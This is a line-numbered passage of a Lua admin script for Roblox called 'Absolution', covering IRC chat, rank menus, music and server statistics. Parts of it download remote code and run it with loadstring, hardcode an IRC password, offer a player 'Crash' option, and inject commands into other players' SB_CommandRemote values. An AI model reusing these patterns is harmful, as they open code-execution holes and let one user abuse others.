1808
	return false
1809
end
1810
1811
Absolution.HttpConstants.IRC.Chat = function(msg,channel,playername)
1812
	if not Absolution.HttpConstants.IRC.Connection then return end
1813
	local c={Absolution.HttpConstants.IRC.API:SendMessage(Absolution.HttpConstants.IRC.Connection,channel and tostring(channel) or Absolution.HttpConstants.IRC.Name,(playername and playername..': ' or nil)..msg)}
1814
	if not c[1] then Absolution.IRCDebug[#Absolution.IRCDebug+1] = c[2] end
1815
	return "success"
1816
end	
1817
1818
Absolution.Functions.IRCLaunch = function() 
1819
	local function Connect(Channel, con, event)
1820
		 local c = {Absolution.HttpConstants.IRC.API:JoinChannel(con,Channel)}
1821
		 if not c[1] then Absolution.IRCDebug[#Absolution.IRCDebug+1] = c[2] end
1822
		 Absolution.Connections['IRCMessageReceived'] = Absolution.HttpConstants.IRC.API:MessageReceived(con,Channel, event)
1823
		 Absolution.Connections['IRCUserJoined'] = Absolution.HttpConstants.IRC.API:UserJoined(con,Channel, event)
1824
		 Absolution.Connections['IRCUserLeft'] = Absolution.HttpConstants.IRC.API:UserLeft(con,Channel, event)    
1825
	end
1826
	Absolution.HttpConstants.IRC.Connection = Absolution.HttpConstants.IRC.API:Connect("https://qwebirc.swiftirc.net/", 'Absolution', 'lonewolf122221')
1827
	Connect(Absolution.HttpConstants.IRC.Name, Absolution.HttpConstants.IRC.Connection, Absolution.Handler.sendChat)
1828
	Absolution.HttpConstants.IRC.API:ChangeNick(Absolution.HttpConstants.IRC.Connection,'absolutionClient_'..Absolution.uniqueKey)
1829
	spawn(function() 
1830
		while wait(5) do 
1831
		if not Absolution then break end
1832
		Absolution.HttpConstants.IRC.API:KeepAlive(Absolution.HttpConstants.IRC.Connection) 
1833
		end 
1834
	end) 
1835
end
1836
1837
-- GetSplit & Dismiss --
1838
Absolution.Functions.Dismiss = function(plr)
1839
	pcall(function()
1840
		if type(plr) == "string" and type(plr)~='userdata' then
1841
			plr = game:service'Players':findFirstChild(plr)
1842
			local pack = Absolution.Handler:sendPacket(plr, 'Dismiss')
1843
			return pack
1844
		elseif type(plr)=='userdata' then
1845
			local pack = Absolution.Handler:sendPacket(plr, 'Dismiss')
1846
			return pack
1847
		else
1848
			return 'wrong data type for plr'
1849
		end
1850
		
1851
		--[[
1852
		for i,v in pairs(Absolution.Tablets) do
1853
			if v.Plr == plr then
1854
				coroutine.wrap(function()
1855
					for i = 0, 1, 0.1 do 
1856
						pcall(function()
1857
							v.Tab.Transparency = i
1858
							v.Tab.BG.TL.TextStrokeTransparency = i
1859
							wait()
1860
						end)
1861
					end
1862
					v.Tab:Destroy()
1863
				end)()
1864
				Absolution.Tablets[i]=nil
1865
			end
1866
		end
1867
		--]]
1868
	end)
1869
end
1870
1871
Absolution.Functions.GetSplit = function(Message)
1872
	local a = nil
1873
	for i = 1, #Message do
1874
		if Message:sub(i,i) == "-" then
1875
			a = i + 1
1876
			break
1877
		end
1878
	end
1879
	if a ~= nil then
1880
		return Message:sub(a)
1881
	else
1882
		return nil
1883
	end
1884
end
1885
1886
-- Notifications --
1887
Absolution.Functions.Notify = function(Message, Player, Color)
1888
	if Player and type(Player) == 'string' then Player = Absolution.Services.Players:findFirstChild(Player) end
1889
	Absolution.Handler.sendChat('[SERVER] '..Message, (Player and Player or nil), nil, Color)
1890
	local pseudoColor
1891
	if Color=='White' then
1892
	pseudoColor = 'Print'
1893
	elseif Color=='Red' then
1894
	pseudoColor = 'Error'
1895
	elseif Color=='Blue' then
1896
	pseudoColor='Run'
1897
	elseif Color=='Green' then
1898
	pseudoColor='Note'
1899
	elseif Color=='Orange' then
1900
	pseudoColor='Warn'
1901
	else
1902
	pseudoColor='Print'
1903
	end
1904
	Absolution.Functions.sbOutput('[SERVER] '..Message, pseudoColor)
1905
end
1906
1907
-- getServerInfo --
1908
Absolution.Functions.getServerInfo = function()
1909
		local rtnData = {}
1910
		local getAllInstances = function()
1911
				local finalInstanceCount = 0
1912
				local data = {}
1913
				local places = {'Workspace','Lighting','ReplicatedStorage','Teams','Players'}
1914
				recurse = function(place)
1915
						for i,v in pairs(place:children'') do
1916
								data[#data+1] = v
1917
								recurse(v)
1918
						end
1919
				return data
1920
				end
1921
				for nildata,place in pairs(places) do
1922
					for i,v in pairs(recurse(game:GetService(place))) do
1923
							finalInstanceCount=finalInstanceCount+1
1924
					end
1925
				end
1926
		return finalInstanceCount
1927
		end
1928
		local getAllPlayerLatencyRounded = function()
1929
			local prepareToRound = {}
1930
			local finalRound = 0
1931
			local toDivide = 0
1932
				for i,v in pairs(Absolution.Players) do
1933
					local data = v["FPS"]
1934
					table.insert(prepareToRound, data and data or 30)
1935
				end
1936
				for nildata,index in next,prepareToRound do
1937
					finalRound = finalRound+index
1938
					toDivide = toDivide+1
1939
				end
1940
		return (finalRound/toDivide)
1941
		end
1942
		local getNumData = function(data)
1943
			local rtn = 0
1944
			for i,v in next,data do
1945
				rtn = rtn + 1
1946
			end
1947
		return rtn
1948
		end
1949
		local getNumAdmins = function()
1950
			local adminCount = 0
1951
				for i,v in next,Absolution.Ranked do
1952
					if v.Rank ==6 then
1953
						adminCount = adminCount + 1
1954
					end
1955
				end
1956
		return adminCount
1957
		end
1958
		local getNumMods = function()
1959
			local adminCount = 0
1960
				for i,v in next,Absolution.Ranked do
1961
					if v.Rank ==4 then
1962
						adminCount = adminCount + 1
1963
					end
1964
				end
1965
		return adminCount
1966
		end
1967
		local getNumStaff = function()
1968
			local adminCount = 0
1969
				for i,v in next,Absolution.Ranked do
1970
					if v.Rank >=4 then
1971
						adminCount = adminCount + 1
1972
					end
1973
				end
1974
		return adminCount
1975
		end
1976
		local getNumBanned = function()
1977
			local bannedPlayers = 0
1978
				for i,v in next,Absolution.Ranked do
1979
					if v.Rank < 0 then
1980
						bannedPlayers = bannedPlayers+1
1981
					end
1982
				end
1983
		return bannedPlayers
1984
		end
1985
		local getAdminsInGame = function()
1986
		local allAdmins = {}
1987
			for i,v in pairs(Absolution.Functions.getALLPlayers()) do
1988
				local pRank = Absolution.Functions:findRank(v)
1989
				if pRank >=4 then
1990
					table.insert(allAdmins, tostring(v))
1991
				end
1992
			end
1993
		return allAdmins
1994
		end
1995
		rtnData["RanBy"] = (tostring(Absolution.ranBy))
1996
		rtnData["PrivateServer"],rtnData["Server Lock"],rtnData["ScriptLock"] = Absolution.PrivateServer.Enabled,Absolution.Locks.Server.Locked,(Absolution.Locks.Server.Local and Absolution.Locks.Server)
1997
		rtnData["HttpEnabled"] = (Absolution.HttpConstants.HttpEnabled)
1998
		rtnData["#Connections"] = (getNumData(Absolution.Connections))
1999
		rtnData["#Functions"] = (getNumData(Absolution.Functions))
2000
		rtnData["#Commands"] = (getNumData(Absolution.Commands))
2001
		rtnData["#Admins"] = (getNumAdmins())
2002
		rtnData["#Moderators"] = (getNumMods())
2003
		rtnData["#Staff"] = (getNumStaff())
2004
		rtnData["#Banned"] = (getNumBanned())
2005
		rtnData["Admins In-Game"] = (table.concat(getAdminsInGame(), ':'))
2006
		rtnData["#Ranked Players"] = (getNumData(Absolution.Ranked))
2007
		rtnData["Players"] = (#Absolution.Functions.getALLPlayers())
2008
		rtnData["ServerLatency"] = (1/wait())
2009
		rtnData["ServerUptime"] = (Absolution.Functions.GetTime(game.Workspace.DistributedGameTime))
2010
		rtnData["InstanceCount"] = (getAllInstances())
2011
		rtnData["AbsolutionHandler"] = (Absolution.Handler.SERVER:GetFullName())
2012
return rtnData
2013
end
2014
2015
--tropkillaz
2016
2017
-- PlayAudio --
2018
Absolution.Functions.PlayAudio = function(Player,Id)
2019
	Absolution.Functions.Dismiss(Player)
2020
	for _, Child in pairs(Absolution.Services.Workspace:GetChildren()) do if Child:IsA("Sound") then Child:stop() Child:Destroy() end end
2021
	if Absolution.Music.isPlaying then Absolution.Music.currentSong:Stop() Absolution.Music.isPlaying = false end
2022
	local Sound = Absolution.Functions:Create("Sound",{Parent = workspace,Volume = 1, Looped = true, Pitch = 1, SoundId = "rbxassetid://"..Id})
2023
	Sound:Play()
2024
	Absolution.Music.isPlaying = true
2025
	Absolution.Music.currentSong = Sound
2026
	Absolution.Functions.Out(Player,"Now playing:"..Absolution.Services.MarketplaceService:GetProductInfo(Id).Name,2)
2027
	Absolution.Functions.Out(Player,"Creator:"..Absolution.Services.MarketplaceService:GetProductInfo(Id).Creator.Name,2)
2028
	Absolution.Functions.Out(Player,"Sales:"..Absolution.Services.MarketplaceService:GetProductInfo(Id).Sales,2)
2029
	Absolution.Functions.Output(Player,"Buy:\n"..Absolution.Services.MarketplaceService:GetProductInfo(Id).Name.."?",nil,function() Absolution.Services.MarketplaceService:PromptPurchase(Player,Id) end)
2030
	Absolution.Functions.Output(Player,"Music settings",nil,function()
2031
		Absolution.Functions.Dismiss(Player)
2032
		local Return
2033
		Return = function()
2034
				Absolution.Functions.Dismiss(Player)
2035
				Absolution.Functions.Output(Player, "Set Volume", nil, function()
2036
				Absolution.Functions.Dismiss(Player)
2037
				for Volume = 0, 1, .1 do
2038
					Absolution.Functions.Output(Player, Volume, nil, function()
2039
						Absolution.Functions.Dismiss(Player)
2040
						Sound.Volume = Volume
2041
					end)
2042
				end
2043
				Absolution.Functions.Output(Player, "Back", "Bright red", Return)
2044
			end)
2045
			Absolution.Functions.Output(Player, "Stop Song", nil,function()
2046
				Absolution.Functions.Dismiss(Player)
2047
				Sound:Stop()
2048
				wait()
2049
				Sound:Destroy()
2050
			end)
2051
		end
2052
		Return()
2053
	end)
2054
end
2055
2056
-- Plugins --
2057
Absolution.PluginManager.Launch = function()
2058
local p = Absolution.PluginManager -- it would take too long to do this in a sexy manner...
2059
local o = Absolution.Functions.Output
2060
	p.addPlugin = function(self, module)
2061
		local m=require(module)
2062
		if not type(m)=='table' then return 'This module cannot run as a '..type(m)..'!'end
2063
		local Title=m["packTitle"]
2064
		local Version=m["currentVersion"]
2065
		local CommandPack=m["commandFunctions"]
2066
		if not Title then Title='Undefined'end
2067
		if not Version then Version = 1 end
2068
		if not CommandPack then return'No commands were found!'end
2069
		for i,v in pairs(CommandPack) do
2070
			local cmd = i
2071
			local tbl = v
2072
			local success, yourlifeisafail = ypcall(function()
2073
			Absolution.Functions.Command(cmd, tbl.Uses, tbl.Rank, tbl.Description, tbl.Flags, tbl.Function)
2074
			end)
2075
			if not success then
2076
				o('Admins',tostring(module)..' encountered an error during startup...','Really red',function(dismissed)
2077
					Absolution.Functions.Dismiss(dismissed)
2078
					o(dismissed, 'ERROR: '..yourlifeisafail)
2079
					o(dismissed, 'Module: '..tostring(module))
2080
					o(dismissed, 'packTitle: '..Title)
2081
					o(dismissed, 'packRevision: '..Version)
2082
				end)
2083
			else
2084
				self[cmd] = tbl
2085
			end
2086
		end
2087
	end
2088
	local rtn = Absolution.Services.HttpService:GetAsync(Absolution.HttpConstants.pluginLink)
2089
	if rtn then
2090
		local mods = loadstring(rtn)()
2091
		wait''
2092
		if Absolution.PluginManager.Modules then
2093
			local modz= Absolution.PluginManager.Modules
2094
			for i,v in pairs(modz) do
2095
				Absolution.PluginManager:addPlugin(v)
2096
			end
2097
		end
2098
	end
2099
end
2100
2101
-- HttpGet --
2102
Absolution.Functions.HttpGet = function(URL)
2103
	return (Absolution.HttpConstants.HttpEnabled and Absolution.Services.HttpService:GetAsync(URL) or "HTTP Requests are not enabled")
2104
end
2105
2106
-- GetCatalog --
2107
Absolution.Functions.GetCatalog = function(KeyWords, Category)
2108
		local KeyWords = Absolution.Services.HttpService:UrlEncode(KeyWords)
2109
		local URL = Absolution.HttpConstants.IP..Absolution.HttpConstants.APIs.Music..'?Keyword='..tostring(KeyWords)..'&Category='..tostring(Category)
2110
		print(URL)
2111
		return Absolution.Services.HttpService:JSONDecode(Absolution.Functions.HttpGet(URL))
2112
end
2113
2114
-- ShowCommands --
2115
Absolution.Functions.ShowCommands = function(Speaker, fr)
2116
	local sRank = Absolution.Functions:findRank(tostring(Speaker))
2117
	Absolution.Functions.Dismiss(Speaker)
2118
	Absolution.Functions.OpenCmds = function(Rank, Speaker)
2119
		Absolution.Functions.Dismiss(Speaker)
2120
		for Name,Tab in pairs(Absolution.Commands) do
2121
			if Tab.Rank == Rank and Tab.Rank >= 0 then
2122
				Absolution.Functions.Output(Speaker, Name, nil, function()	
2123
					Absolution.Functions.Dismiss(Speaker)
2124
					Absolution.Functions.Output(Speaker, "Name: "..Name)
2125
					Absolution.Functions.Output(Speaker, "Uses: "..table.concat(Tab.Uses, ", "))
2126
					Absolution.Functions.Output(Speaker, "Rank: "..Tab.Rank)
2127
					Absolution.Functions.Output(Speaker, "Description: "..Tab.Description)
2128
					Absolution.Functions.Output(Speaker, "Flags: "..Tab.Flags)
2129
					Absolution.Functions.Output(Speaker, (Tab.Rank <= Rank and 'You can use this command!' or 'You have no access to this command.'),(Tab.Rank <= Rank and 'Lime green' or 'Really red'))
2130
					Absolution.Functions.Output(Speaker, "Dismiss")
2131
				end)
2132
			elseif Rank == "usage" and Tab.Rank <=Absolution.Functions:findRank(Speaker.Name) then
2133
				Absolution.Functions.Output(Speaker, Name, nil, function()	
2134
					Absolution.Functions.Dismiss(Speaker)
2135
					Absolution.Functions.Output(Speaker, "Name: "..Name)
2136
					Absolution.Functions.Output(Speaker, "Uses: "..table.concat(Tab.Uses, ", "))
2137
					Absolution.Functions.Output(Speaker, "Rank: "..Tab.Rank)
2138
					Absolution.Functions.Output(Speaker, "Description: "..Tab.Description)
2139
					Absolution.Functions.Output(Speaker, "Flags: "..Tab.Flags)
2140
					Absolution.Functions.Output(Speaker, (Tab.Rank <= sRank and 'You can use this command!' or 'You have no access to this command.'),(Tab.Rank <= sRank and 'Lime green' or 'Really red'))
2141
					Absolution.Functions.Output(Speaker, "Dismiss")
2142
				end)
2143
			elseif Rank == "all" and Tab.Rank >= 0 then
2144
				Absolution.Functions.Output(Speaker, Name.." ("..Tab.Rank..")", nil, function()
2145
					Absolution.Functions.Dismiss(Speaker)
2146
					Absolution.Functions.Output(Speaker, "Name: "..Name)
2147
					Absolution.Functions.Output(Speaker, "Uses: "..table.concat(Tab.Uses, ", "))
2148
					Absolution.Functions.Output(Speaker, "Rank: "..Tab.Rank)
2149
					Absolution.Functions.Output(Speaker, "Description: "..Tab.Description)
2150
					Absolution.Functions.Output(Speaker, "Flags: "..Tab.Flags)
2151
					Absolution.Functions.Output(Speaker, (Tab.Rank <= sRank and 'You can use this command!' or 'You have no access to this command.'),(Tab.Rank <= sRank and 'Lime green' or 'Really red'))
2152
					Absolution.Functions.Output(Speaker, "Back", "Really black", function() Absolution.Functions.OpenCmds("all", Speaker) end)
2153
					Absolution.Functions.Output(Speaker, "Dismiss")
2154
				end)
2155
			end
2156
		end
2157
		-- wait()
2158
		Absolution.Functions.Output(Speaker, "Dismiss", nil)
2159
		Absolution.Functions.Output(Speaker, "Back", "Really black", function() Absolution.Functions.ShowCommands(Speaker) end)
2160
	end
2161
	local Rank = Absolution.Functions:findRank(tostring(Speaker)) 
2162
	local frnk = (fr and fr or nil)
2163
	if frnk then
2164
	Absolution.Functions.OpenCmds(frnk, Speaker)
2165
	else
2166
		for _,v in pairs(Absolution.Ranks) do
2167
			if ((Rank >= _) and (_ >= 0)) then
2168
				Absolution.Functions.Output(Speaker, v..'('.._..')', nil, function() Absolution.Functions.OpenCmds(_, Speaker) end)
2169
			end
2170
		end
2171
		Absolution.Functions.Output(Speaker, "Commands you can use", 'Lime green', function() Absolution.Functions.OpenCmds("usage", Speaker) end)
2172
		Absolution.Functions.Output(Speaker, "All", nil, function() Absolution.Functions.OpenCmds("all", Speaker) end)
2173
	Absolution.Functions.Output(Speaker, "Dismiss")
2174
	end
2175
end
2176
2177
-- nickName --
2178
Absolution.Functions.nickName = function(playerName, nickName)
2179
2180
	Absolution.Nicknames[playerName] = nickName
2181
	
2182
		local DataStore = game:GetService("DataStoreService"):GetDataStore("NickNamez")
2183
		
2184
		local key = "user_" .. playerName
2185
		
2186
		DataStore:UpdateAsync(key, function(oldValue)
2187
			local newValue = nickName
2188
			return newValue
2189
		end)
2190
2191
end
2192
2193
2194
Absolution.Functions.GetRankedInterface = function(Speaker, Player) -- "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name
2195
	Absolution.Functions.Dismiss(Speaker)
2196
	if type(Player) == "userdata" then
2197
		Player = Player.Name
2198
	end
2199
	Absolution.Functions.GetRankedPlayer = function(i)
2200
		if type(i) == "userdata" then
2201
			i = i.Name
2202
		end
2203
		Absolution.Functions.Dismiss(Speaker)
2204
		Absolution.Functions.Output(Speaker, "Name: "..i, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..i)
2205
		ypcall(function()
2206
			Absolution.Functions.Output(Speaker, "Age: "..Absolution.Services.Players[i].AccountAge)
2207
			Absolution.Functions.Output(Speaker, "userId: "..Absolution.Services.Players[i].userId)
2208
		end)
2209
		Absolution.Functions.Output(Speaker, "Rank: "..Absolution.Functions:findRank(i))
2210
		Absolution.Functions.Output(Speaker, "View Other Infomation", "Deep orange", function()
2211
			Absolution.Functions.Output(Speaker, "Color: "..Absolution.Functions.getRankedTable(i).Color or "N/A")
2212
			Absolution.Functions.Output(Speaker, "Distance: "..Absolution.Functions.getRankedTable(i).Distance or "N/A")
2213
			Absolution.Functions.Output(Speaker, "Description: "..Absolution.Functions.getRankedTable(i).Description or "N/A")
2214
		end)
2215
		if Absolution.Functions:findRank(Speaker) > Absolution.Functions:findRank(i) and Absolution.Functions:findRank(Speaker)>5 then
2216
			Absolution.Functions.Output(Speaker, "Set Rank", "Mid gray", function()
2217
				Absolution.Functions.Dismiss(Speaker)
2218
				Absolution.Functions.Output(Absolution.Services.Players:findFirstChild(i), Speaker.Name..' is setting your rank.')
2219
				for __,v in pairs(Absolution.Ranks) do
2220
					if __ < Absolution.Functions:findRank(Speaker) and (__>=0) then
2221
						Absolution.Functions.Output(Speaker, '['..tostring(__)..'] '..v, nil, function()
2222
							Absolution.Functions.GetRankedInterface(Speaker)
2223
							Absolution.Functions.getRankedTable(i).Rank = __
2224
							Absolution.Functions.syncRankOut(i)
2225
							Absolution.Functions.Output(Absolution.Services.Players:findFirstChild(i), Speaker.Name..' changed your access level to '..Absolution.Ranks[__], nil)
2226
						end)
2227
					end
2228
				end
2229
			end)
2230
		end
2231
		if Absolution.Functions:findRank(Speaker) > Absolution.Functions:findRank(i) or i == Speaker.Name then
2232
			Absolution.Functions.Output(Speaker, "User Settings", "Mid gray", function()
2233
				Absolution.Functions.Output(Speaker, "Set Color", "Mid gray", function() 
2234
					Absolution.Functions.Dismiss(Speaker)
2235
					for _,c in pairs({"Br. yellowish green","Bright yellow","Bright orange","Bright red","Bright violet","Bright blue","Bright bluish green","Bright green","Institutional white","White","Light stone grey","Mid gray","Medium stone grey","Dark stone grey","Black","Really black","Grime","Br. yellowish orange","Light orange","Sand red","Lavender","Sand blue","Medium blue","Sand green","Brick yellow","Cool yellow","Neon orange","Medium red","Light reddish violet","Pastel Blue","Teal","Medium green","Pastel brown","Pastel yellow","Pastel orange","Pink","Pastel violet","Pastel light blue","Pastel blue-green","Pastel green","Olive","New Yeller","Deep orange","Really red","Hot pink","Really blue","Toothpaste","Lime green","Brown","Nougat","Dark orange","Royal purple","Alder","Cyan","Light blue","Camo","Reddish brown","CGA brown","Dusty Rose","Magenta","Deep blue","Navy blue","Dark green","Earth green"}) do
2236
						Absolution.Functions.Output(Speaker, c, c, function()
2237
							Absolution.Functions.Dismiss(Speaker)
2238
							Absolution.Functions.getRankedTable(i).Color = c
2239
							Absolution.Functions.GetRankedInterface(Speaker)
2240
						end)
2241
					end
2242
				end)
2243
				Absolution.Functions.Output(Speaker, "Set Tablet Type", "Mid gray", function() 
2244
					Absolution.Functions.Dismiss(Speaker)
2245
					Absolution.Functions.Output(Speaker, 'Box', nil, function() Absolution.Functions.Dismiss(Speaker) Absolution.Functions.getRankedTable(Speaker).TabletType = 'Box' end)
2246
					Absolution.Functions.Output(Speaker, 'Normal', nil, function() Absolution.Functions.Dismiss(Speaker) Absolution.Functions.getRankedTable(Speaker).TabletType = 'Normal' end)
2247
				end)
2248
				Absolution.Functions.Output(Speaker, "Set Distance", "Mid gray", function() 
2249
					Absolution.Functions.Dismiss(Speaker)
2250
					for z = 1, 30 do
2251
						Absolution.Functions.Output(Speaker, z, nil, function()
2252
							Absolution.Functions.Dismiss(Speaker)
2253
							Absolution.Functions.getRankedTable(i).Distance = z
2254
							Absolution.Functions.GetRankedInterface(Speaker)
2255
						end)
2256
					end
2257
				end)
2258
			end)
2259
		end
2260
		Absolution.Functions.Output(Speaker, "Back To Ranked", "Really blue", function() Absolution.Functions.GetRankedInterface(Speaker) end)
2261
		Absolution.Functions.Output(Speaker, "Back To Players", "Really blue", function() Absolution.Functions.ShowPlayers(Speaker) end)
2262
		Absolution.Functions.Output(Speaker, "Dismiss")
2263
	end
2264
	Absolution.Functions.getAllRanked = function(Speaker, str)
2265
		Absolution.Functions.Dismiss(Speaker)
2266
		local Found = {}
2267
		for index,data in next, Absolution.Ranked do
2268
			if Absolution.Functions:findRank(Speaker) >= data.Rank and (str and data:lower():find(str:lower()) or true) then
2269
					Found[#Found+1] = index
2270
			end
2271
		end
2272
		local function PageHandler(Speaker,tbl,pg,calc,maxpg)
2273
			local List,Page,MaxPage=tbl,pg,maxpg
2274
				if Page == 0 then 
2275
					Page = 1 
2276
				end
2277
				local function GetArray(table,start,_end,maxpage)
2278
					local Array = {}
2279
					if start == 0 then
2280
						 start = 1 
2281
					end
2282
					for i = start,_end do
2283
						Array[#Array+1]=table[i]
2284
					end
2285
				return Array
2286
				end
2287
			local function Redo(pg)
2288
				Absolution.Functions.Dismiss(Speaker)
2289
				for index,data in pairs(GetArray(List,(Page-1)*calc,Page*calc,maxpg)) do
2290
					Absolution.Functions.Output(Speaker, (data and data or 'Nil Data'), Absolution.Functions.getRankedTable(data).Color, function() Absolution.Functions.GetRankedInterface(Speaker, data) end)
2291
				end
2292
				if pg < maxpg then
2293
					Absolution.Functions.Output(Speaker, "Next Page","New Yeller",function()
2294
						Page = Page + 1
2295
						Redo(Page)
2296
					end)
2297
				end
2298
				if pg > 1 then
2299
					Absolution.Functions.Output(Speaker, "Back Page","New Yeller",function()
2300
						Page = Page - 1
2301
						Redo(Page)
2302
					end)
2303
				end
2304
				Absolution.Functions.Output(Speaker, "Page: "..Page.."/"..maxpg,"New Yeller")
2305
			end
2306
		Redo(Page)
2307
		end
2308
		local mr = Absolution.Constants.MaxResults
2309
			if #Found > mr then
2310
			PageHandler(Speaker,Found,1,mr,math.floor(#Found/mr))
2311
		end
2312
	end
2313
	if Player ~= nil then
2314
		Absolution.Functions.GetRankedPlayer(Player)
2315
	else
2316
		Absolution.Functions.getAllRanked(Speaker)
2317
	end
2318
end
2319
2320
2321
2322
-- ShowData --
2323
Absolution.Functions.ShowData = function(Speaker, Player)
2324
	if Player then
2325
	Absolution.Functions.Dismiss(Speaker)
2326
	local tPlr = tostring(Player)
2327
	local pData = Absolution.Handler:sendPacket(Player, 'DATA')
2328
	local FPS = pData["FPS"]
2329
	local TIME = pData["TIME"]
2330
	local LOGS	= pData["LOGS"]
2331
	local RAP = Absolution.Functions.getRap(Player)
2332
		Absolution.Functions.Output(Speaker, 'Stats', Absolution.Functions.getRankedTable(tPlr).Color, function() 
2333
		Absolution.Functions.Dismiss(Speaker)
2334
		Absolution.Functions.Output(Speaker, 'Go back', 'Bright blue', function() Absolution.Functions.ShowData(Speaker, Player) end)
2335
		Absolution.Functions.pseudoOutputFunction(Speaker, 'FPS: '..FPS, 'White')
2336
		Absolution.Functions.pseudoOutputFunction(Speaker, 'TIME: '..TIME, 'White')
2337
		Absolution.Functions.pseudoOutputFunction(Speaker, 'RAP: '..RAP,'White')
2338
		Absolution.Functions.pseudoOutputFunction(Speaker, 'Stats for '..tostring(Player), 'Bright yellow')
2339
		end)
2340
		if Absolution.Ranked[tostring(Speaker)].Rank >=8 then
2341
		Absolution.Functions.Output(Speaker, 'Logs', Absolution.Functions.getRankedTable(tPlr).Color, function() 
2342
		Absolution.Functions.Dismiss(Speaker)
2343
		Absolution.Functions.Output(Speaker, 'Go back', 'Bright blue', function() Absolution.Functions.ShowData(Speaker, Player) end)
2344
			for i,v in pairs(LOGS) do 
2345
				Absolution.Functions.Output(Speaker,i,'Random',function() 
2346
				Absolution.Functions.Dismiss(Speaker)
2347
				Absolution.Functions.Output(Speaker, 'Go back', 'Bright blue', function() Absolution.Functions.ShowData(Speaker, Player) end)
2348
					for f,g in pairs(v) do
2349
						Absolution.Functions.Output(Speaker,f..' = '..g)
2350
					end
2351
				end)
2352
			end
2353
		end)
2354
		end
2355
	else
2356
	Absolution.Functions.ShowData(Speaker, Speaker)
2357
	end
2358
end
2359
2360
-- isIgnoring --
2361
Absolution.Functions.IsIgnoring = function(pName)
2362
	for q,e in next,Absolution.Ignoring do
2363
		if e==pName then
2364
			return true
2365
		end
2366
	end
2367
return false
2368
end
2369
2370
-- setIgnore --
2371
Absolution.Functions.SetIgnore = function(pName)
2372
	table.insert(Absolution.Ignoring, pName)
2373
	return true
2374
end
2375
2376
-- stopIgnore --
2377
Absolution.Functions.StopIgnore = function(pName)
2378
	for q,e in next,Absolution.Ignoring do
2379
		if e==pName then
2380
			table.remove(Absolution.Ignoring, q)
2381
			return true
2382
		end
2383
	end
2384
return false
2385
end
2386
2387
-- getRankedTable --
2388
Absolution.Functions.getRankedTable = function(plr)
2389
	if type(plr)=='userdata' then plr=tostring(plr) end
2390
	local data
2391
	data = Absolution.Ranked[plr]
2392
return data
2393
end
2394
2395
-- ShowPlayers --
2396
Absolution.Functions.ShowPlayers = function(Speaker)
2397
	Absolution.Functions.Dismiss(Speaker)
2398
	for _,v in pairs(Absolution.Functions.getALLPlayers()) do
2399
		if v.Parent == Absolution.Services.Players then
2400
			Absolution.Functions.Output(Speaker, v.Name..'['..Absolution.Functions:findRank(v)..']', nil, function()
2401
				Absolution.Functions.Dismiss(Speaker)
2402
				Absolution.Functions.Output(Speaker, "Name: "..v.Name, "Deep orange")
2403
				Absolution.Functions.Output(Speaker, "UserId: "..v.userId, "Deep orange")
2404
				Absolution.Functions.Output(Speaker, "AccountAge: "..v.AccountAge, "Deep orange")
2405
				Absolution.Functions.Output(Speaker, "Go To "..v.Name.."'s Ranked Interface", "Really blue", function()
2406
					Absolution.Functions.GetRankedInterface(Speaker, v.Name)
2407
				end)
2408
				Absolution.Functions.Output(Speaker, "Back", "Really blue", function() Absolution.Functions.ShowPlayers(Speaker) end)
2409
				Absolution.Functions.Output(Speaker, "Dismiss")
2410
			end)
2411
		else
2412
			Absolution.Functions.Output(Speaker, "nil-"..v.Name, nil, function()
2413
				Absolution.Functions.Dismiss(Speaker)
2414
				Absolution.Functions.Output(Speaker, "Name: "..v.Name, "Deep orange")
2415
				Absolution.Functions.Output(Speaker, "UserId: "..v.userId, "Deep orange")
2416
				Absolution.Functions.Output(Speaker, "AccountAge: "..v.AccountAge, "Deep orange")
2417
				if Absolution.Functions:findRank(Speaker) > Absolution.Functions:findRank(v.Name) then
2418
					Absolution.Functions.Output(Speaker, "Crash", "White", function()
2419
						Absolution.Functions.Dismiss(Speaker)
2420
						local dc = Absolution.Handler:sendPacket(v, 'rejoin')
2421
						coroutine.resume(coroutine.create(function()
2422
							wait(0.5)
2423
						if dc then
2424
							Absolution.Functions.Output(Speaker, "Successfully crashed "..v.Name, "Lime green", nil, 3)
2425
							Absolution.Functions.Announce('CRASHED: '..(v.Name and v.Name or 'undefined/error'))
2426
						else
2427
							Absolution.Functions.Output(Speaker, "Failed to crash "..v.Name, "Lime green", nil, 3)
2428
							Absolution.Functions.Announce('FAILED TO CRASH:'..(v.Name and v.Name or 'undefined/error'))
2429
						end
2430
						end))
2431
					end)
2432
				end
2433
				Absolution.Functions.Output(Speaker, "To Ranked Interface", "Really blue", function()
2434
					Absolution.Functions.GetRankedInterface(Speaker, v.Name)
2435
				end)
2436
				Absolution.Functions.Output(Speaker, "Back", "Really blue", function() Absolution.Functions.ShowPlayers(Speaker) end)
2437
				Absolution.Functions.Output(Speaker, "Dismiss")
2438
			end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
2439
		end
2440
	end
2441
	Absolution.Functions.Output(Speaker, "Dismiss")
2442
end
2443
2444
-- oxHack --
2445
Absolution.Functions.sbExe = function(cmd,plr)
2446
	if not type(cmd)=='string'then return end
2447
	if plr then
2448
		if type(plr)=='userdata'then
2449
			pcall(function()
2450
				plr:FindFirstChild("SB_CommandRemote",true).Value = cmd
2451
			end)
2452
		elseif type(plr)=='string'then
2453
			pcall(function()
2454
				plr = game:GetService('Players'):FindFirstChild(plr)
2455
				plr:FindFirstChild("SB_CommandRemote",true).Value = cmd
2456
			end)
2457
		end
2458
	else
2459
		for i,v in pairs(game:GetService('Players'):children())do
2460
			pcall(function()
2461
				v:FindFirstChild("SB_CommandRemote",true).Value = cmd
2462
			end)
2463
		end
2464
	end
2465
end
2466
Absolution.Functions.sbChat = function(self,msg,plr,fn)
2467
	msg = msg:gsub("","")
2468
	if not type(msg)=='string'then return end
2469
	msg=(msg and msg or '')
2470
	if plr then
2471
		if type(plr)=='userdata'then
2472
		   local data = Instance.new('StringValue',plr)
2473
		   data.Name = 'SB_Chat'
2474
		   data.Value = ''..(fn and fn or 'Absolution')..'/'..msg..' '
2475
		elseif type(plr)=='string'then
2476
			plr = game:GetService('Players'):FindFirstChild(plr)
2477
			local data = Instance.new('StringValue',plr)
2478
			data.Name = 'SB_Chat'
2479
			data.Value = ''..(fn and fn or 'Absolution')..'/'..msg..' '
2480
		end
2481
	else
2482
